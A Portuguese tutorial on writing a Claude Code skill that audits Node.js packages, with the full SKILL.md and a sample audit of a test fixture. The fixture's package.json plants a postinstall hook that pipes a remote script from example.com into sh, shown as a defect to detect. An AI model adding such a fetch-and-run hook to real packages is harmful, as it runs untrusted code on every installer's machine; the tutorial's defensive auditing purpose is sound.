Como auditar um projeto Node com uma skill de IA
Crie uma skill do Claude Code para auditar pacotes Node.js: dependências sem uso, scripts de ciclo de vida arriscados, exports incorretos e problemas de versão, com evidências.
Para auditar um projeto Node com uma skill de IA, faça commit de um arquivo SKILL.md em .claude/skills/<skill-name>/. Ele deve injetar no prompt o seu package.json real e a saída do build, e instruir o Claude Code a executar uma lista curta de verificações que exigem julgamento, relatando cada uma com evidências.
A maioria das revisões de pacotes termina com os mesmos quatro comentários: uma dependência que ninguém mais importa, um script postinstall que ninguém leu, a ausência do campo engines e um mapa exports apontando para um arquivo que o build não gera. Você escreve esses comentários de novo em cada PR.
Este artigo constrói uma pequena skill de auditoria para essa tarefa. Ele mostra o arquivo completo, explica como fazer a skill ser acionada com “audite este pacote” e não a cada edição, e acompanha uma execução contra um repositório de teste (fixture). Também aborda os pontos em que a skill provavelmente vai errar.
Principais pontos
- Uma skill de projeto do Claude Code é uma pasta em
.claude/skills/<skill-name>/que contém um arquivoSKILL.md. Faça commit dessa pasta e todos que clonarem o repositório terão o mesmo comando/skill-name. - Uma linha no SKILL.md que começa com !
cat package.jsoné executada antes de o Claude ler a skill, então a auditoria trabalha com o manifesto real, e não com um palpite sobre ele. - Se um comando injetado falhar, o Claude Code aborta a invocação inteira. Com o shell bash padrão, qualquer código de saída diferente de zero conta como falha, exceto o código 1 de comandos de busca e comparação. Um comando que pode falhar por motivos legítimos precisa de
|| trueno final. - Uma skill de auditoria deve ler scripts de instalação, nunca executá-los. Mantenha
npm install,npm cienpm runfora tanto dos comandos injetados quanto deallowed-tools. - ESLint,
npm audite publint dão a mesma resposta para a mesma entrada. Uma skill de auditoria não, então use-a apenas para questões que exigem julgamento.
Os mesmos quatro comentários de revisão em todo PR
Os mesmos comentários de revisão de pacotes se repetem porque os problemas por trás deles não podem ser resolvidos por uma regra. Decidir se uma dependência ainda é necessária exige buscar no código-fonte. Decidir se um script postinstall é suspeito exige lê-lo. Nenhum linter tem uma opção de configuração para isso.
Uma skill do Claude Code se encaixa nesse tipo de trabalho que exige julgamento. Trata-se de um conjunto reutilizável de instruções, escrito em um arquivo SKILL.md, que o Claude Code carrega quando uma solicitação corresponde à sua descrição ou quando você digita o nome dela. Se você não conhece o formato, os guias sobre skills do Claude Code para fluxos de trabalho de frontend e capacidades reutilizáveis de agentes de IA explicam o conceito.
Como criar uma skill do Claude Code para auditoria de pacotes
Para criar uma skill do Claude Code, adicione um diretório em .claude/skills/ contendo um arquivo SKILL.md. O arquivo traz um frontmatter YAML entre marcadores ---, seguido de instruções em Markdown. O nome do diretório, ou o name do frontmatter, vira o comando de barra (slash command).
Crie a pasta da skill
Skills de projeto ficam na pasta .claude do repositório. O Claude Code carrega uma skill salva em .claude/skills/<skill-name>/SKILL.md em todas as sessões daquele repositório.
mkdir -p .claude/skills/node-package-audit
O SKILL.md completo
Salve este arquivo como .claude/skills/node-package-audit/SKILL.md. O --- de abertura precisa estar na linha 1.
---
name: node-package-audit
description: Audits a Node.js package's package.json and build layout for judgement-call problems that linters miss, including dependencies that may no longer be needed, an exports map that does not match the build output, surprising install, postinstall or prepare scripts, a missing or wrong engines field, and files that break the repo's layout conventions. Use when the user asks to audit, review or sanity-check a package or its package.json, or asks whether a package is ready to publish. Not for routine code edits.
when_to_use: 'Requests like "audit this package", "review our package.json", "is this ready to publish" or "check our dependencies".'
allowed-tools: Bash(cat *) Bash(ls *) Bash(true) Read Grep Glob
---
## Manifest
!`cat package.json`
## Top-level files
!`ls -a`
## Build output
!`ls dist lib build || true`
## Instructions
Audit the package above. Do not run npm install, npm ci, npm run, or any
package script. Read files only.
For each check, report: finding, evidence (file and line, or the exact
field), and confidence (confirmed / unverified). If you cannot confirm a
finding from files you actually read, mark it unverified. Do not guess.
1. Dependencies: for each entry in dependencies and devDependencies,
search src, scripts in package.json, config files and bin entries for
a use. Flag only entries with no reference anywhere. Tools can be
referenced by string name in config files or invoked as CLIs in scripts.
2. Exports: compare every path in main, module, types, bin and exports
against the build output listed above. Flag paths that point at files
that don't exist, and conditions that point at the wrong format.
3. Lifecycle scripts: read preinstall, install, postinstall and prepare.
Flag anything that downloads, runs a remote script, writes outside
the package, or reads environment variables or credentials.
4. Layout: compare the package's file layout with sibling packages or
the repo's existing conventions. Flag deviations, not preferences.
5. Engines: flag a missing engines field, or a range that contradicts
syntax or APIs used in the source.
Finish with a table of findings, then a short list of what you could not
check and why.
O que o frontmatter e os comandos injetados fazem
Todas as chaves deste arquivo estão listadas na referência de frontmatter. Nenhuma delas é obrigatória, embora a documentação recomende definir description. Uma chave desconhecida não gera erro: o Claude Code simplesmente a ignora, então um erro de digitação como allowed_tools some sem nenhum aviso.
As três linhas com ! usam injeção dinâmica de contexto. Antes de o Claude ler a skill, o Claude Code executa cada comando e substitui a linha pelo que o comando imprimiu. Uma falha em qualquer um deles aborta a invocação inteira. O ls retorna um código de saída diferente de zero quando um diretório que ele deve listar não existe, e um pacote que ainda não passou por build não tem dist/. É por isso que a linha da saída do build termina em || true. O cat package.json não tem fallback de propósito: em um pacote Node, a ausência do manifesto deve interromper a auditoria.
O Claude Code não exibe um prompt de permissão para comandos injetados. Fora do modo automático, um comando injetado que suas regras de permissão não permitam explicitamente interrompe a invocação, e o allowed-tools é a forma de a skill pré-aprovar esses comandos. O Claude Code verifica cada parte de um comando composto separadamente, então ls dist lib build || true precisa de uma regra para true, além da regra para ls. É por isso que o allowed-tools inclui Bash(true). A permissão vale apenas para o turno que invocou a skill. Se uma execução abortar com Shell command permission check failed, adicione uma regra de permissão para esse comando nas suas configurações de permissão.
Vale a pena conhecer dois campos opcionais do frontmatter do SKILL.md. O paths restringe o carregamento automático ao trabalho com arquivos que correspondam aos seus globs. O disable-model-invocation: true faz a skill rodar apenas quando você digita /node-package-audit.
Escreva uma descrição que seja acionada em auditorias, não em edições
O Claude usa o campo description para decidir se carrega uma skill sem que ela seja solicitada. Uma descrição como “Ajuda com projetos Node” é vaga demais para corresponder de forma confiável a “audite este pacote”, e ampla o bastante para ser carregada durante trabalhos sem relação.
A descrição de node-package-audit acima coloca o caso de uso na primeira frase, lista os verbos de acionamento (audit, review, sanity-check, ready to publish) e termina com uma exclusão explícita. A listagem de skills corta o texto combinado de description e when_to_use após 1.536 caracteres, então o caso de uso principal precisa vir primeiro. Se a skill ainda for acionada com frequência demais, a documentação recomenda uma descrição mais específica ou a invocação apenas manual.
Cinco verificações que exigem julgamento, não regras
Cada verificação da skill faz uma pergunta que depende de contexto, e cada uma exige um arquivo ou campo citado antes de um achado ser considerado confirmado.
Cada dependência ainda é necessária? A skill precisa procurar um uso antes de sinalizar uma dependência. Imports são o caso fácil. Os casos mais difíceis são pacotes invocados como CLIs em scripts e plugins referenciados por nome, como strings, em arquivos de configuração.
O exports corresponde à saída do build? A skill compara os caminhos declarados com a saída do ls que recebeu. Um caminho para um arquivo inexistente é confirmado. Uma dúvida sobre se uma condição aponta para o formato correto geralmente é marcada como não verificada.
Os scripts de instalação fazem algo suspeito? O npm 11 executa por padrão os scripts preinstall, install e postinstall das dependências. Ele também executa o prepare de dependências instaladas de fontes que não são o registry, como git. O npm 12, lançado em 8 de julho de 2026, deixa de executar esses scripts de dependências a menos que o pacote tenha sido aprovado, e bloqueia da mesma forma o prepare de dependências do tipo git, file e link. Projetos no npm 11 ou anterior, e pacotes aprovados, continuam executando esses scripts. Um script que envia um arquivo remoto via pipe para um shell merece um comentário na revisão. A skill lê esses scripts e nunca deve executá-los, e é por isso que nenhum comando npm aparece nas linhas injetadas nem em allowed-tools. A mesma lógica de cadeia de suprimentos se aplica à configuração de CI, tema da auditoria de segurança de workflows do GitHub. A confiança no workspace não se aplica ao allowed-tools de uma skill versionada no repositório: o Claude Code respeita o campo mesmo em uma pasta em que você nunca confiou, então leia esse campo em qualquer repositório que você clonar.
O layout segue as convenções do repositório? “Convenções” significa o que os pacotes irmãos já fazem. A instrução de sinalizar desvios, e não preferências, impede que a verificação vire conselho de estilo.
O engines está ausente ou incorreto? O npm só impõe o engines quando quem instala ativa o engine-strict. Caso contrário, uma incompatibilidade de versão apenas imprime um aviso e a instalação segue normalmente. Um intervalo ausente ou incorreto falha silenciosamente, e é por isso que vale a pena fazer essa verificação.
Confirme que a skill é acionada e depois execute-a
Você pode verificar se a skill é acionada de quatro formas: perguntar “What skills are available?”, invocar /node-package-audit diretamente, executar claude plugin validate .claude/skills ou iniciar o Claude Code com --debug.
What skills are available?
/node-package-audit
claude plugin validate .claude/skills
claude --debug
O claude plugin validate requer o Claude Code v2.1.233 ou posterior. Se /node-package-audit funciona, mas “audite este pacote” não aciona a skill, verifique primeiro o frontmatter. Um frontmatter que não pode ser interpretado não impede o carregamento da skill. O Claude Code a carrega sem metadados, então digitar o comando de barra continua funcionando, mas o Claude não tem uma descrição para comparar com as solicitações. A documentação também recomenda manter o SKILL.md com menos de 500 linhas.
Uma fixture com defeitos plantados
Este package.json contém quatro defeitos plantados. O dist/ contém apenas index.js e index.d.ts, e um .prettierrc lista prettier-plugin-organize-imports pelo nome.
{
"name": "@acme/date-utils",
"version": "1.4.0",
"type": "module",
"main": "./dist/index.js",
"exports": {
".": {
"types": "./dist/index.d.ts",
"import": "./dist/index.mjs"
}
},
"scripts": {
"build": "tsc",
"lint": "eslint .",
"postinstall": "curl -fsSL https://example.com/setup.sh | sh"
},
"dependencies": {
"left-pad": "^1.3.0"
},
"devDependencies": {
"eslint": "^9.0.0",
"prettier-plugin-organize-imports": "^4.0.0",
"typescript": "^5.6.0"
}
}
Os defeitos plantados são o left-pad não utilizado, um caminho em exports para um index.mjs que não existe, um postinstall que envia um script remoto via pipe para um shell e a ausência do campo engines.
A saída e o erro
O relatório volta como uma tabela de achados seguida de uma lista do que “não foi possível verificar”. Veja um exemplo de como isso fica para esta fixture.
Findings
| # | Check | Finding | Evidence | Confidence |
|---|--------------|------------------------------------------------------|---------------------------------------------------|------------|
| 1 | Dependencies | left-pad has no use anywhere in the package | no import in src/, not named in scripts or config | confirmed |
| 2 | Dependencies | prettier-plugin-organize-imports may be unused | no import in src/ | unverified |
| 3 | Exports | exports["."].import points at a missing file | ./dist/index.mjs is not in the build output | confirmed |
| 4 | Lifecycle | postinstall downloads and runs a remote script | scripts.postinstall pipes curl output to sh | confirmed |
| 5 | Engines | package.json has no engines field | no "engines" key in package.json | confirmed |
Could not check
- Layout: there are no sibling packages or written conventions to compare against.
- Engines range: with no engines field, there is no range to test against the source.
O erro esperado é um falso “não utilizado” em prettier-plugin-organize-imports, porque ele aparece apenas como string em um arquivo de configuração. As instruções da skill reduzem esse risco, mas não conseguem eliminá-lo. Leia primeiro a coluna de confiança: trate um achado de dependência não verificado como um sinal para você mesmo fazer um grep, e não como motivo para removê-la.
Uma skill não é um linter
Uma skill lida com as perguntas que ferramentas determinísticas não conseguem responder, e às vezes vai errar. O ESLint e o publint retornam o mesmo resultado para a mesma entrada, e o npm audit faz o mesmo para um dado conjunto de advisories, então eles pertencem ao CI como bloqueios rígidos. A skill de auditoria pertence à revisão, em que uma pessoa lê as evidências antes de agir com base nelas. Os argumentos para automatizar verificações determinísticas de código continuam válidos, e a skill não substitui nenhuma delas.
Um caminho incorreto em exports ou um intervalo errado em engines normalmente se manifesta em tempo de execução, e não no CI. O session replay mostra a tela em branco, o erro no console e a requisição com falha resultantes em contexto, enquanto a skill detecta a causa estática antes da publicação.
Conclusão
Uma pequena skill de auditoria funciona porque seu escopo é restrito: ela injeta arquivos reais, executa cinco verificações com evidências citadas, lê scripts de instalação sem executá-los e deixa claro quando não tem certeza. Faça commit do SKILL.md acima, execute /node-package-audit no pacote que você revisa com mais frequência e transforme qualquer achado recorrente em uma regra determinística, se for possível expressá-lo dessa forma.
Perguntas frequentes
A verificação de scripts de instalação ainda é útil agora que o npm 12 bloqueia scripts de instalação?
Sim. O npm 12.0.0 não executa mais scripts preinstall, install ou postinstall de dependências, a menos que sejam aprovados com npm approve-scripts, e bloqueia da mesma forma os scripts prepare de dependências do tipo git, file e link. Quem usa o npm 11 ou anterior continua executando esses scripts por padrão, e pacotes aprovados continuam a executá-los. Um postinstall que envia um script remoto via pipe para um shell ainda precisa de revisão.
Onde uma skill de auditoria deve ficar em um monorepo com muitos pacotes?
Coloque uma skill de auditoria compartilhada na pasta .claude/skills da raiz para que ela se aplique a todo o repositório. Para regras específicas de um pacote, faça commit de uma skill separada dentro desse pacote, por exemplo em packages/api/.claude/skills/. O Claude Code descobre pastas de skills aninhadas quando você trabalha com arquivos naquele subdiretório, então uma skill por pacote pode não aparecer até que o Claude leia ou edite um arquivo ali.
O que acontece se um desenvolvedor tiver uma skill pessoal com o mesmo nome da skill versionada no repositório?
A skill pessoal prevalece. O Claude Code resolve conflitos de nomes de skills na ordem enterprise, depois pessoal, depois projeto, então uma skill em ~/.claude/skills/node-package-audit/SKILL.md sobrepõe a .claude/skills/node-package-audit/SKILL.md versionada para aquele desenvolvedor. Skills de plugins têm namespace próprio e nunca entram em conflito. Se a auditoria de um colega ignorar alterações recentes na versão do repositório, verifique primeiro se existe uma skill pessoal com o mesmo nome.